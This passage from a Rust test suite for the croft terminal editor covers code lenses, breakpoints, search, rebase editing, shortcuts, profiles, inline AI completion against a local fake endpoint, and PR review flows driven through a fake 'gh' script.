    let mut buf = ratatui::buffer::Buffer::empty(area);
    ratatui::widgets::Widget::render(
        &mut *app.editor as &mut crate::widgets::editor::Editor,
        area,
        &mut buf,
    );
    let (y, xs, idx) = app
        .editor
        .code_lens_spans
        .first()
        .cloned()
        .expect("lens painted");
    assert_eq!(idx, 0);
    let painted: String = xs
        .clone()
        .map(|x| buf[(x, y)].symbol().to_string())
        .collect();
    assert_eq!(painted, "Frobnicate");
    assert_eq!(app.editor.code_lens_at(xs.start, y), Some(0));
    app.run_code_lens(0);
    assert!(
        app.status
            .contains("vendor.frobnicate is not a command croft runs"),
        "an unmappable lens says why: {}",
        app.status
    );
}

#[test]
fn a_code_lens_hides_once_its_line_changes() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.rs", "fn main() {}\n");
    app.editor.code_lenses = vec![lens_at(0, "fn main() {}", "Run", "x")];
    assert_eq!(app.editor.lenses_on_line(0), vec![0]);
    app.editor.lines[0] = String::from("fn main() { edited }");
    assert!(
        app.editor.lenses_on_line(0).is_empty(),
        "stale lens is not shown"
    );
}

#[test]
fn cmd_k_shift_e_runs_the_caret_lines_only_lens() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.rs", "fn main() {}\n");
    app.editor.code_lenses = vec![lens_at(
        0,
        "fn main() {}",
        "Frobnicate",
        "vendor.frobnicate",
    )];
    assert!(app.handle_cmd_k_chord(key(KeyCode::Char('E'), KeyModifiers::SHIFT)));
    assert!(app.status.starts_with("Code lens:"), "{}", app.status);
    app.editor
        .code_lenses
        .push(lens_at(0, "fn main() {}", "Other", "vendor.other"));
    assert!(app.handle_cmd_k_chord(key(KeyCode::Char('e'), KeyModifiers::SHIFT)));
    assert!(
        app.context_menu.is_some(),
        "two lenses open a menu to pick from"
    );
}

// ---- #611: hit counts, function breakpoints, Run to Cursor ----

#[test]
fn a_hit_count_prompt_sets_the_breakpoints_hit_condition() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.py", "x = 1\ny = 2\n");
    app.editor.cursor_row = 1;
    app.run_command(crate::widgets::command_palette::Command::DebugAddHitCountBreakpoint);
    let path = app.editor.path.clone().unwrap();
    assert!(matches!(
        app.prompt.as_ref().map(|p| &p.kind),
        Some(PromptKind::HitCondition { line: 2, .. })
    ));
    app.commit_hit_condition(path.clone(), 2, " 5 ");
    let lines = app.editor.breakpoints.get(&path).cloned().unwrap();
    assert!(lines.contains(&2), "the breakpoint exists");
    let specs = app.editor.source_breakpoints(&path, &lines);
    assert_eq!(specs[0].hit_condition.as_deref(), Some("5"));
    app.commit_hit_condition(path.clone(), 2, "");
    let specs = app.editor.source_breakpoints(&path, &lines);
    assert_eq!(specs[0].hit_condition, None, "blank clears it");
}

#[test]
fn function_breakpoints_are_kept_for_the_next_session() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.commit_function_breakpoint(String::from("main"));
    app.commit_function_breakpoint(String::from("main"));
    assert_eq!(
        app.function_breakpoints,
        vec![String::from("main")],
        "no duplicates"
    );
    app.debug_clear_function_breakpoints();
    assert!(app.function_breakpoints.is_empty());
}

#[test]
fn run_to_cursor_without_a_session_says_so() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.py", "x = 1\n");
    let ctrl_f10 = crossterm::event::KeyEvent::new(KeyCode::F(10), KeyModifiers::CONTROL);
    assert!(is_run_to_cursor_key(ctrl_f10));
    assert!(!is_run_to_cursor_key(crossterm::event::KeyEvent::new(
        KeyCode::F(10),
        KeyModifiers::NONE
    )));
    app.debug_run_to_cursor();
    assert_eq!(app.status, "Run to Cursor: no debug session");
}

// ---- Search Editor (#615) ----

#[test]
fn a_search_editor_reruns_its_header_and_opens_results() {
    let tmp = tempfile::tempdir().unwrap();
    let root = tmp.path().canonicalize().unwrap();
    std::fs::write(root.join("a.txt"), "one\nthe needle is here\nthree\n").unwrap();
    std::fs::write(root.join("b.txt"), "no match\n").unwrap();
    let mut app = App::new(root.clone()).unwrap();
    app.run_command(crate::widgets::command_palette::Command::OpenSearchEditor);
    assert!(crate::search_editor::is_search_editor(&app.editor.lines));
    app.editor.lines[0] = String::from("# Query: needle");
    assert!(app.handle_cmd_k_chord(key(KeyCode::Char('R'), KeyModifiers::SHIFT)));
    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(10);
    while !app.drain_search_editor() && std::time::Instant::now() < deadline {
        std::thread::sleep(std::time::Duration::from_millis(10));
    }
    let text = app.editor.lines.join("\n");
    assert!(text.contains("1 result - 1 file"), "{text}");
    assert!(text.contains("a.txt:"), "{text}");
    let row = app
        .editor
        .lines
        .iter()
        .position(|l| l.contains("the needle is here"))
        .expect("result row");
    app.focus_pane(Pane::Editor);
    app.editor.cursor_row = row;
    app.handle_key(crossterm::event::KeyEvent::new(
        KeyCode::Enter,
        KeyModifiers::NONE,
    ))
    .unwrap();
    assert_eq!(
        app.editor.path.as_deref(),
        Some(root.join("a.txt").as_path())
    );
    assert_eq!(app.editor.cursor_row, 1, "the match's line, 0-based");
}

// ---- Interactive rebase in croft (#620) ----

#[test]
fn rebase_todo_keys_set_the_action_and_step_down() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(
        tmp.path(),
        "git-rebase-todo",
        "pick aaa111 first\npick bbb222 second\n# comment\n",
    );
    app.editor.cursor_row = 1;
    app.handle_key(crossterm::event::KeyEvent::new(
        KeyCode::Char('f'),
        KeyModifiers::NONE,
    ))
    .unwrap();
    assert_eq!(app.editor.lines[1], "fixup bbb222 second");
    assert_eq!(app.editor.cursor_row, 2, "the caret moves to the next line");
    app.handle_key(crossterm::event::KeyEvent::new(
        KeyCode::Char('d'),
        KeyModifiers::NONE,
    ))
    .unwrap();
    assert_eq!(
        app.editor.lines[2], "d# comment",
        "a comment line types normally"
    );
}

#[test]
fn rebase_keys_type_normally_outside_a_todo_file() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "notes.txt", "pick aaa111 first\n");
    app.handle_key(crossterm::event::KeyEvent::new(
        KeyCode::Char('s'),
        KeyModifiers::NONE,
    ))
    .unwrap();
    assert_eq!(app.editor.lines[0], "spick aaa111 first");
}

#[test]
fn a_probe_reports_whether_the_file_is_still_open() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "git-rebase-todo", "pick a b\n");
    let path = app.editor.path.clone().unwrap();
    assert_eq!(
        app.probe_view_path(&path),
        crate::view_ipc::ViewReply::Err {
            message: String::from(crate::view_ipc::PROBE_OPEN)
        }
    );
    app.run_command(crate::widgets::command_palette::Command::CloseEditor);
    assert!(matches!(
        app.probe_view_path(&path),
        crate::view_ipc::ViewReply::Err { .. }
    ));
}

#[test]
fn the_sequence_editor_command_quotes_the_binary_path() {
    assert_eq!(
        crate::widgets::terminal::sequence_editor_command(std::path::Path::new(
            "/opt/my croft/croft"
        )),
        "'/opt/my croft/croft' edit --wait --sequence-editor"
    );
}

#[test]
fn a_plain_view_request_has_no_probe_field_on_the_wire() {
    // An older croft must read this build's `croft view` unchanged.
    let json = serde_json::to_string(&crate::view_ipc::ViewRequest::new(std::path::Path::new(
        "/a",
    )))
    .unwrap();
    assert!(!json.contains("probe"), "{json}");
    let probe = serde_json::to_string(&crate::view_ipc::ViewRequest::probe(std::path::Path::new(
        "/a",
    )))
    .unwrap();
    assert!(probe.contains("\"probe\":true"));
}

// ---- Keyboard Shortcuts editor (#612) ----

#[test]
fn recording_a_shortcut_writes_it_and_takes_effect_at_once() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.keybindings_file = tmp.path().join("keybindings.json");
    app.open_keyboard_shortcuts();
    let cmd = crate::widgets::command_palette::Command::ToggleLiveRun;
    app.recording_shortcut = Some((cmd, std::time::Instant::now()));
    // Plain typing is refused and ends the recording.
    app.handle_key(key(KeyCode::Char('j'), KeyModifiers::NONE))
        .unwrap();
    assert!(
        app.status.contains("needs a function key"),
        "{}",
        app.status
    );
    assert!(!app.keybindings_file.exists());
    app.recording_shortcut = Some((cmd, std::time::Instant::now()));
    app.handle_key(key(
        KeyCode::Char('j'),
        KeyModifiers::CONTROL | KeyModifiers::ALT,
    ))
    .unwrap();
    assert!(
        app.status.starts_with("ctrl+alt+j now runs"),
        "{}",
        app.status
    );
    let written = std::fs::read_to_string(&app.keybindings_file).unwrap();
    assert!(written.contains("\"toggle_live_run\""), "{written}");
    assert_eq!(app.keymap.chord_for(cmd).as_deref(), Some("ctrl+alt+j"));
}

#[test]
fn escape_leaves_the_shortcut_unchanged() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.keybindings_file = tmp.path().join("keybindings.json");
    app.recording_shortcut = Some((
        crate::widgets::command_palette::Command::ToggleLiveRun,
        std::time::Instant::now(),
    ));
    app.handle_key(key(KeyCode::Esc, KeyModifiers::NONE))
        .unwrap();
    assert_eq!(app.status, "Shortcut unchanged");
    assert!(!app.keybindings_file.exists());
}

#[test]
fn a_stale_or_clicked_away_shortcut_prompt_records_nothing() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.keybindings_file = tmp.path().join("keybindings.json");
    let cmd = crate::widgets::command_palette::Command::ToggleLiveRun;
    let long_ago = std::time::Instant::now() - std::time::Duration::from_secs(60);
    app.recording_shortcut = Some((cmd, long_ago));
    app.handle_key(key(KeyCode::Char('s'), KeyModifiers::CONTROL))
        .unwrap();
    assert!(
        !app.keybindings_file.exists(),
        "a late chord is not recorded"
    );
    app.recording_shortcut = Some((cmd, std::time::Instant::now()));
    app.handle_mouse(MouseEvent {
        kind: MouseEventKind::Down(MouseButton::Left),
        column: 1,
        row: 1,
        modifiers: KeyModifiers::NONE,
    });
    assert!(
        app.recording_shortcut.is_none(),
        "a click cancels the prompt"
    );
}

// ---- Profiles (#618) ----

#[test]
fn the_profiles_picker_offers_the_default_and_a_new_profile() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.run_command(crate::widgets::command_palette::Command::SwitchProfile);
    let picker = app.list_picker.as_ref().expect("picker open");
    assert!(matches!(
        picker.purpose,
        crate::widgets::list_picker::ListPurpose::Profiles
    ));
    let ids: Vec<&str> = picker.rows.iter().map(|r| r.id.as_str()).collect();
    assert_eq!(ids.first(), Some(&"profile:"), "Default comes first");
    assert!(ids.contains(&"new"));
    assert!(
        !ids.contains(&"workspace-clear"),
        "no workspace choice to clear in a fresh workspace"
    );
}

#[test]
fn a_new_profile_prompt_refuses_an_unsafe_name_in_place() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.prompt = Some(Prompt {
        label: String::from("New profile name"),
        buffer: String::from("../escape"),
        kind: PromptKind::NewProfile,
        target_dir: tmp.path().to_path_buf(),
        error: None,
    });
    app.commit_prompt();
    let p = app.prompt.as_ref().expect("the prompt stays open");
    assert!(
        p.error
            .as_deref()
            .is_some_and(|e| e.contains("profile name")),
        "{:?}",
        p.error
    );
}

// ---- Inline AI suggestions (#607) ----

/// A one-shot fake `/v1/messages`: answers the first request with `text`
/// and hands back the raw request it read.
fn fake_messages_endpoint(text: &'static str) -> (String, std::sync::mpsc::Receiver<String>) {
    use std::io::{Read, Write};
    let listener = std::net::TcpListener::bind("127.0.0.1:0").unwrap();
    let url = format!("http://{}", listener.local_addr().unwrap());
    let (tx, rx) = std::sync::mpsc::channel();
    std::thread::spawn(move || {
        let Ok((mut stream, _)) = listener.accept() else {
            return;
        };
        let mut buf = Vec::new();
        let mut chunk = [0u8; 8192];
        // Headers, then as much body as Content-Length says.
        loop {
            let n = stream.read(&mut chunk).unwrap_or(0);
            if n == 0 {
                break;
            }
            buf.extend_from_slice(&chunk[..n]);
            let s = String::from_utf8_lossy(&buf).to_string();
            if let Some(h) = s.find("\r\n\r\n") {
                let len = s[..h]
                    .lines()
                    .find_map(|l| {
                        l.to_ascii_lowercase()
                            .strip_prefix("content-length:")
                            .map(|v| v.trim().parse::<usize>().unwrap_or(0))
                    })
                    .unwrap_or(0);
                if buf.len() >= h + 4 + len {
                    break;
                }
            }
        }
        let body = serde_json::json!({"stop_reason": "end_turn", "content": [{"type": "text", "text": text}]}).to_string();
        let _ = write!(
            stream,
            "HTTP/1.1 200 OK\r\ncontent-type: application/json\r\ncontent-length: {}\r\n\r\n{}",
            body.len(),
            body
        );
        let _ = tx.send(String::from_utf8_lossy(&buf).to_string());
    });
    (url, rx)
}

/// #614: a key typed after a suggestion was painted makes it stale; Right
/// before the echo arrives moves the cursor instead of typing the old
/// suggestion's rest after the new key.
#[test]
fn right_does_not_accept_a_terminal_suggestion_the_typing_outran() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Terminal);
    app.term_suggestion = Some((0, String::from("g"), String::from("it status")));
    app.handle_terminal_key(key(KeyCode::Char('i'), KeyModifiers::NONE));
    app.term_suggestion = Some((0, String::from("g"), String::from("it status")));
    app.handle_terminal_key(key(KeyCode::Right, KeyModifiers::NONE));
    let written = String::from_utf8_lossy(&app.terminals[0].written_bytes_for_test()).into_owned();
    assert!(!written.contains("it status"), "{written:?}");
}

#[test]
fn a_failed_inline_suggestion_is_not_asked_again_until_the_caret_moves() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.rs", "let x = \n");
    app.inline_config = Some(crate::inline_complete::Config {
        backend: crate::inline_complete::Backend::Claude {
            base_url: String::from("http://127.0.0.1:1"),
            api_key: String::from("test-key"),
        },
        model: String::from("claude-opus-5"),
    });
    app.inline_worker = Some(crate::inline_complete::Worker::spawn());
    app.inline_enabled = true;
    app.editor.cursor_row = 0;
    app.editor.cursor_col = 8;
    app.editor.last_edit_at = Some(std::time::Instant::now() - std::time::Duration::from_secs(2));
    let first = app.inline_next_id;
    let deadline = std::time::Instant::now() + std::time::Duration::from_millis(500);
    while std::time::Instant::now() < deadline {
        app.tick_inline_complete();
        std::thread::sleep(std::time::Duration::from_millis(5));
    }
    assert_eq!(app.inline_next_id - first, 1, "one request for one caret");
}

#[test]
fn an_inline_suggestion_appears_after_a_pause_and_tab_takes_it() {
    let (url, requests) = fake_messages_endpoint("1 + 1;");
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.rs", "let x = \n");
    app.inline_config = Some(crate::inline_complete::Config {
        backend: crate::inline_complete::Backend::Claude {
            base_url: url,
            api_key: String::from("test-key"),
        },
        model: String::from("claude-opus-5"),
    });
    app.inline_worker = Some(crate::inline_complete::Worker::spawn());
    app.inline_enabled = true;
    app.editor.cursor_row = 0;
    app.editor.cursor_col = 8;
    app.editor.last_edit_at = Some(std::time::Instant::now() - std::time::Duration::from_secs(2));
    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(10);
    while app.editor.live_ghost().is_none() && std::time::Instant::now() < deadline {
        app.tick_inline_complete();
        std::thread::sleep(std::time::Duration::from_millis(10));
    }
    assert_eq!(app.editor.live_ghost(), Some("1 + 1;"));
    let req = requests
        .recv_timeout(std::time::Duration::from_secs(5))
        .unwrap();
    assert!(req.contains("x-api-key: test-key"), "{req}");
    assert!(req.contains("anthropic-version: 2023-06-01"));
    assert!(
        req.contains("let x = <CURSOR>"),
        "the caret is marked: {req}"
    );
    app.handle_key(crossterm::event::KeyEvent::new(
        KeyCode::Tab,
        KeyModifiers::NONE,
    ))
    .unwrap();
    assert_eq!(app.editor.lines[0], "let x = 1 + 1;");
    assert!(app.editor.live_ghost().is_none());
}

#[test]
fn an_edit_makes_a_suggestion_stale_and_esc_dismisses_one() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.rs", "let x = \n");
    app.editor.cursor_col = 8;
    let seq = app.editor.edit_seq;
    app.editor.ghost = Some((0, 8, seq, String::from("1;")));
    assert!(app.editor.live_ghost().is_some());
    app.handle_key(crossterm::event::KeyEvent::new(
        KeyCode::Esc,
        KeyModifiers::NONE,
    ))
    .unwrap();
    assert!(app.editor.ghost.is_none(), "Esc dismisses");
    app.editor.ghost = Some((0, 8, seq, String::from("1;")));
    app.handle_key(crossterm::event::KeyEvent::new(
        KeyCode::Char('2'),
        KeyModifiers::NONE,
    ))
    .unwrap();
    assert!(app.editor.live_ghost().is_none(), "typing makes it stale");
}

/// A git repo holding `a.rs` and a fake `gh` that answers the review
/// calls (#366, #368): (tempdir, repo root, a.rs, gh's call log, the last
/// review payload, the gh script).
fn review_fixture() -> (
    tempfile::TempDir,
    std::path::PathBuf,
    std::path::PathBuf,
    std::path::PathBuf,
    std::path::PathBuf,
    std::path::PathBuf,
) {
    use std::os::unix::fs::PermissionsExt as _;
    let tmp = tempfile::tempdir().unwrap();
    let root = tmp.path().join("repo");
    std::fs::create_dir(&root).unwrap();
    for args in [
        vec!["init", "-q", "-b", "main"],
        vec!["config", "user.email", "a@b"],
        vec!["config", "user.name", "a"],
    ] {
        let _ = std::process::Command::new("git")
            .arg("-C")
            .arg(&root)
            .args(&args)
            .status();
    }
    let f = root.join("a.rs");
    std::fs::write(&f, "fn a() {}\nfn b() {}\n").unwrap();
    for args in [vec!["add", "."], vec!["commit", "-m", "init", "--quiet"]] {
        let _ = std::process::Command::new("git")
            .arg("-C")
            .arg(&root)
            .args(&args)
            .status();
    }
    let log = tmp.path().join("gh.log");
    let stdin = tmp.path().join("gh.stdin");
    let gh = tmp.path().join("gh");
    std::fs::write(
        &gh,
        format!(
            r#"#!/bin/sh
echo "$@" >> '{log}'
case "$*" in
  "pr view"*) echo 7 ;;
  "pr diff"*) printf 'diff --git a/a.rs b/a.rs\n--- a/a.rs\n+++ b/a.rs\n@@ -1,1 +1,2 @@\n fn a() {{}}\n+fn b() {{}}\n' ;;
  *graphql*reviewThreads*) echo '{{"data":{{"repository":{{"pullRequest":{{"reviewThreads":{{"nodes":[{{"id":"PRRT_1","isResolved":false,"comments":{{"nodes":[{{"databaseId":5}}]}}}}]}}}}}}}}}}' ;;
  *graphql*) echo '{{}}' ;;
  *"/comments --paginate"*) echo '[{{"id":5,"path":"a.rs","line":1,"user":{{"login":"ada"}},"body":"why?"}}]' ;;
  *reviews*) cat > '{stdin}'; echo '{{}}' ;;
  *) echo '{{}}' ;;
esac
"#,
            log = log.display(),
            stdin = stdin.display(),
        ),
    )
    .unwrap();
    std::fs::set_permissions(&gh, std::fs::Permissions::from_mode(0o755)).unwrap();

    (tmp, root, f, log, stdin, gh)
}

/// An app on the review fixture, with git's view of the repo in place.
fn review_app(root: &std::path::Path, f: &std::path::Path, gh: &std::path::Path) -> App {
    let mut app = App::new(root.to_path_buf()).unwrap();
    app.review_gh = gh.display().to_string();
    app.editor.open_pinned(f).unwrap();
    crate::test_budget::await_spawned(
        std::time::Duration::from_secs(5),
        "git to find the repository",
        || {
            app.git.drain_into(None);
            app.git.status().repo_root.is_some()
        },
    );
    app
}

/// #366's write side end to end against a fake `gh`: threads load with
/// their GraphQL resolution, a reply and a resolve go to GitHub off the
/// frame loop, and a pending comment is submitted with the chosen verdict.
#[test]
fn review_threads_can_be_replied_to_resolved_and_a_review_submitted() {
    let (_tmp, root, f, log, stdin, gh) = review_fixture();
    let mut app = review_app(&root, &f, &gh);
    app.load_review_threads();
    crate::test_budget::await_spawned(std::time::Duration::from_secs(5), "the threads", || {
        app.drain_review_ops();
        app.review_boxes.is_some()
    });
    let threads = app.review_boxes.as_ref().map(|(_, t)| t.clone()).unwrap();
    assert_eq!(threads.len(), 1);
    assert!(!threads[0].resolved);
    assert_eq!(app.review_nodes.get(&5).map(String::as_str), Some("PRRT_1"));

    let wait_for = |app: &mut App, what: &str, done: &dyn Fn(&App) -> bool| {
        crate::test_budget::await_spawned(std::time::Duration::from_secs(5), what, || {
            app.drain_review_ops();
            done(app)
        });
    };

    app.editor.cursor_row = 0;
    app.toggle_review_thread_resolved();
    wait_for(&mut app, "the resolve", &|a| {
        a.review_boxes.as_ref().is_some_and(|(_, t)| t[0].resolved)
    });

    assert!(app.reply_to_review_thread(5, "done"));
    wait_for(&mut app, "the reply", &|a| {
        a.review_boxes
            .as_ref()
            .is_some_and(|(_, t)| t[0].body.ends_with("you: done"))
    });

    app.editor.cursor_row = 1;
    app.open_review_comment_prompt();
    let rel = app.prompt.as_ref().unwrap().target_dir.clone();
    app.prompt = None;
    app.add_pending_review_comment("add a test", rel);
    app.review_verdict = Some(crate::review_threads::ReviewEvent::RequestChanges);
    app.submit_review(String::from("Close."));
    wait_for(&mut app, "the review", &|a| a.review_pending.is_empty());

    let sent: serde_json::Value =
        serde_json::from_str(&std::fs::read_to_string(&stdin).unwrap()).unwrap();
    assert_eq!(sent["event"], "REQUEST_CHANGES");
    assert_eq!(sent["comments"][0]["path"], "a.rs");
    assert_eq!(sent["comments"][0]["line"], 2);
    let calls = std::fs::read_to_string(&log).unwrap();
    assert!(
        calls.contains("pulls/7/comments/5/replies -f body=done"),
        "{calls}"
    );
    assert!(calls.contains("resolveReviewThread"), "{calls}");
}

/// Pending comments belong to the PR they were written on: once the
/// branch's PR changes, they neither post there nor mix with new ones, and
/// a failed export settles none of the notes it carried.
#[test]
fn pending_comments_stay_with_their_pull_request() {
    let (_tmp, root, f, _log, stdin, gh) = review_fixture();
    let mut app = review_app(&root, &f, &gh);
    app.editor.cursor_row = 0;
    app.open_review_comment_prompt();
    let rel = app.prompt.take().unwrap().target_dir;
    app.add_pending_review_comment("on seven", rel.clone());
    assert_eq!(app.review_pending.len(), 1);

    // The branch now has another PR.
    app.review_pr = Some((root.clone(), String::from("8")));
    app.add_pending_review_comment("on eight", rel);
    assert_eq!(app.review_pending.len(), 1, "not mixed in");
    assert!(app.status.contains("PR #7"), "{}", app.status);
    app.submit_review(String::from("LGTM"));
    assert!(!stdin.exists(), "nothing posted to #8");

    // A failed export keeps the navigator notes it carried.
    app.review_pending.clear();
    app.navigator_notes
        .insert(String::from("a.rs"), vec![(1, 1, String::from("n"))]);
    app.drain_review_ops();
    app.review_tx
        .send(crate::review_ops::Outcome::Failed(String::from("nope")))
        .unwrap();
    app.drain_review_ops();
    app.review_tx
        .send(crate::review_ops::Outcome::Submitted {
            inline: 0,
            folded: 0,
            settles: crate::review_ops::Settles::default(),
        })
        .unwrap();
    app.drain_review_ops();
    assert_eq!(app.navigator_notes["a.rs"].len(), 1);
}

/// A failed reply or thread load while a review is being submitted does not
/// end the submission: only the submission's own answer does.
#[test]
fn only_the_submissions_own_failure_ends_it() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.review_submitting = true;
    app.review_tx
        .send(crate::review_ops::Outcome::Failed(String::from(
            "Reply failed",
        )))
        .unwrap();
    app.drain_review_ops();
    assert!(app.review_submitting);
    app.review_tx
        .send(crate::review_ops::Outcome::SubmitFailed(String::from("no")))
        .unwrap();
    app.drain_review_ops();
    assert!(!app.review_submitting);
}

/// #368: the navigator's notes and pending comments are previewed, then
/// posted as one review with the navigator's marked as AI-authored; a note
/// off the diff lands in the summary, and posted notes leave the editor.
#[test]
fn comments_export_to_the_pull_request_after_a_preview() {
    let (_tmp, root, f, log, stdin, gh) = review_fixture();
    let mut app = review_app(&root, &f, &gh);
    app.navigator_notes.insert(
        String::from("a.rs"),
        vec![
            (1, 1, String::from("b is unused")),
            (2, 40, String::from("far")),
        ],
    );
    app.review_pending
        .push(crate::review_threads::PendingComment {
            path: String::from("a.rs"),
            line: 0,
            body: String::from("mine"),
        });
    app.open_export_comments();
    crate::test_budget::await_spawned(std::time::Duration::from_secs(5), "the preview", || {
        app.drain_review_ops();
        app.list_picker.is_some()
    });
    let picker = app.list_picker.as_ref().expect("the preview is shown");
    assert_eq!(
        picker.rows[0].label,
        "Post to PR #7: 2 inline, 1 in the summary"
    );
    assert_eq!(picker.rows.len(), 4);
    // A thread load answering for another PR meanwhile does not redirect
    // the post away from the PR the preview named.
    app.review_pr = Some((root.clone(), String::from("8")));
    app.post_exported_comments();
    crate::test_budget::await_spawned(std::time::Duration::from_secs(5), "the post", || {
        app.drain_review_ops();
        app.navigator_notes.get("a.rs").is_some_and(Vec::is_empty)
    });
    let sent: serde_json::Value =
        serde_json::from_str(&std::fs::read_to_string(&stdin).unwrap()).unwrap();
    assert_eq!(sent["event"], "COMMENT");
    let bodies: Vec<&str> = sent["comments"]
        .as_array()
        .unwrap()
        .iter()
        .map(|c| c["body"].as_str().unwrap())
        .collect();
    assert_eq!(bodies, vec!["mine", "[AI, croft navigator] b is unused"]);
    assert!(
        sent["body"]
            .as_str()
            .unwrap()
            .contains("`a.rs:41`: [AI, croft navigator] far")
    );
    assert!(app.review_pending.is_empty());
    let log = std::fs::read_to_string(&log).unwrap();
    assert!(
        log.contains("pulls/7/reviews") && !log.contains("pulls/8/"),
        "{log}"
    );
}

/// #367: a sticky note hangs under its line as a box, follows the line when
/// lines are added above, takes replies, resolves from its ✕, is counted in
/// the Explorer while open, and is reached by F4.
#[test]
fn a_sticky_note_is_a_box_that_follows_its_line_and_takes_replies() {
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("a.rs");
    std::fs::write(&f, "fn a() {}\nfn b() {}\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&f).unwrap();
    app.editor.cursor_row = 1;
    app.open_sticky_note_prompt();
    assert!(matches!(
        app.prompt.as_ref().map(|p| &p.kind),
        Some(PromptKind::StickyNote)
    ));
    app.prompt = None;
    app.add_sticky_note("why b?");

    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|fr| app.render(fr)).unwrap();
    let b = app
        .editor
        .comment_boxes
        .iter()
        .find(|b| b.body == "why b?")
        .cloned()
        .expect("the note is drawn as a box");
    assert_eq!(b.line, 1);
    assert_eq!(
        app.tree.note_counts.get(&f).copied(),
        Some(1),
        "the Explorer counts it"
    );

    // Two lines land above it: the box follows fn b.
    app.editor.lines.insert(0, String::from("// one"));
    app.editor.lines.insert(0, String::from("// two"));
    term.draw(|fr| app.render(fr)).unwrap();
    let moved = app
        .editor
        .comment_boxes
        .iter()
        .find(|x| x.id == b.id)
        .unwrap();
    assert_eq!(moved.line, 3);

    app.editor.cursor_row = 0;
    assert_eq!(app.next_comment_from_caret().map(|(id, _)| id), Some(b.id));

    app.editor.comment_focus = Some(crate::widgets::editor::CommentFocus {
        id: b.id,
        reply: String::from("it is used"),
        cursor: 0,
    });
    app.submit_comment_reply();
    app.ignore_comment_box(b.id);
    term.draw(|fr| app.render(fr)).unwrap();
    let after = app
        .editor
        .comment_boxes
        .iter()
        .find(|x| x.id == b.id)
        .unwrap();
    assert!(after.body.ends_with(": it is used"), "{}", after.body);
    assert!(after.author.ends_with("resolved"));
    assert!(
        app.tree.note_counts.is_empty(),
        "a resolved note isn't counted"
    );

    app.editor.comment_focus = None;
    app.editor.cursor_row = 0;
    app.delete_sticky_note_here();
    term.draw(|fr| app.render(fr)).unwrap();
    assert!(!app.editor.comment_boxes.iter().any(|x| x.id == b.id));
}

/// A test-built App never reads the developer's own settings layers: a
/// preference in the real `config.json` (say, the TIMELINE hidden) must not
/// steer app tests. Workspace layers under the test root still load.
#[test]
fn a_test_built_app_reads_no_user_settings_layer() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let user_dir = crate::prefs::config_dir();
    // At startup and again on a live settings reload.
    for when in ["startup", "reload"] {
        if when == "reload" {
            app.remerge_settings();
        }
        let leaked: Vec<_> = app
            .settings_chain
            .iter()
            .filter(|p| p.starts_with(&user_dir))
            .collect();
        assert!(
            leaked.is_empty(),
            "{when}: user layers read under test: {leaked:?}"
        );
        assert!(
            app.settings_chain
                .contains(&crate::config_layers::workspace_config_path(tmp.path())),
            "{when}: the workspace layer must still load: {:?}",
            app.settings_chain
        );
        assert!(
            app.settings_provenance.values().all(|k| !matches!(
                k,
                crate::config_layers::LayerKind::User | crate::config_layers::LayerKind::UserLocal
            )),
            "{when}: a setting came from a user layer: {:?}",
            app.settings_provenance
        );
    }
}

/// #624 review: the tool trust gate refuses a changed tool definition with
/// the recovery it names, and lets the first and the unchanged one through.
#[test]
fn the_mcp_tool_gate_refuses_a_changed_definition() {
    let tmp = tempfile::tempdir().unwrap();
    assert_eq!(mcp_tool_trust(tmp.path(), "ext.go", "go", "fp1"), Ok(()));
    assert_eq!(mcp_tool_trust(tmp.path(), "ext.go", "go", "fp1"), Ok(()));
    let err = mcp_tool_trust(tmp.path(), "ext.go", "go", "fp2").unwrap_err();
    assert!(err.starts_with("refusing to run: the 'go' tool"), "{err}");
    assert!(err.contains("toggle the extension off and on"), "{err}");
}

/// #624 review: toggling an extension off and on re-approves its tools, as
/// the refusal says: turning it off forgets the fingerprints of the
/// commands it declares, and only those, so the next run trusts afresh.
#[test]
fn toggling_an_extension_off_forgets_its_tool_fingerprints() {
    const EXT: &str = r#"
id = "tfp"
name = "tfp"
api_version = 1
[[mcp_servers]]
id = "srv"
command = "/bin/false"
[[commands]]
id = "tfp.go"
title = "tfp: go"
server = "srv"
tool = "go"
"#;
    let other = EXT.replace("tfp", "oth");
    let (_scratch, croft) = scratch_config(&[("tfp", EXT), ("oth", &other)]);
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.config_dir = croft.clone();
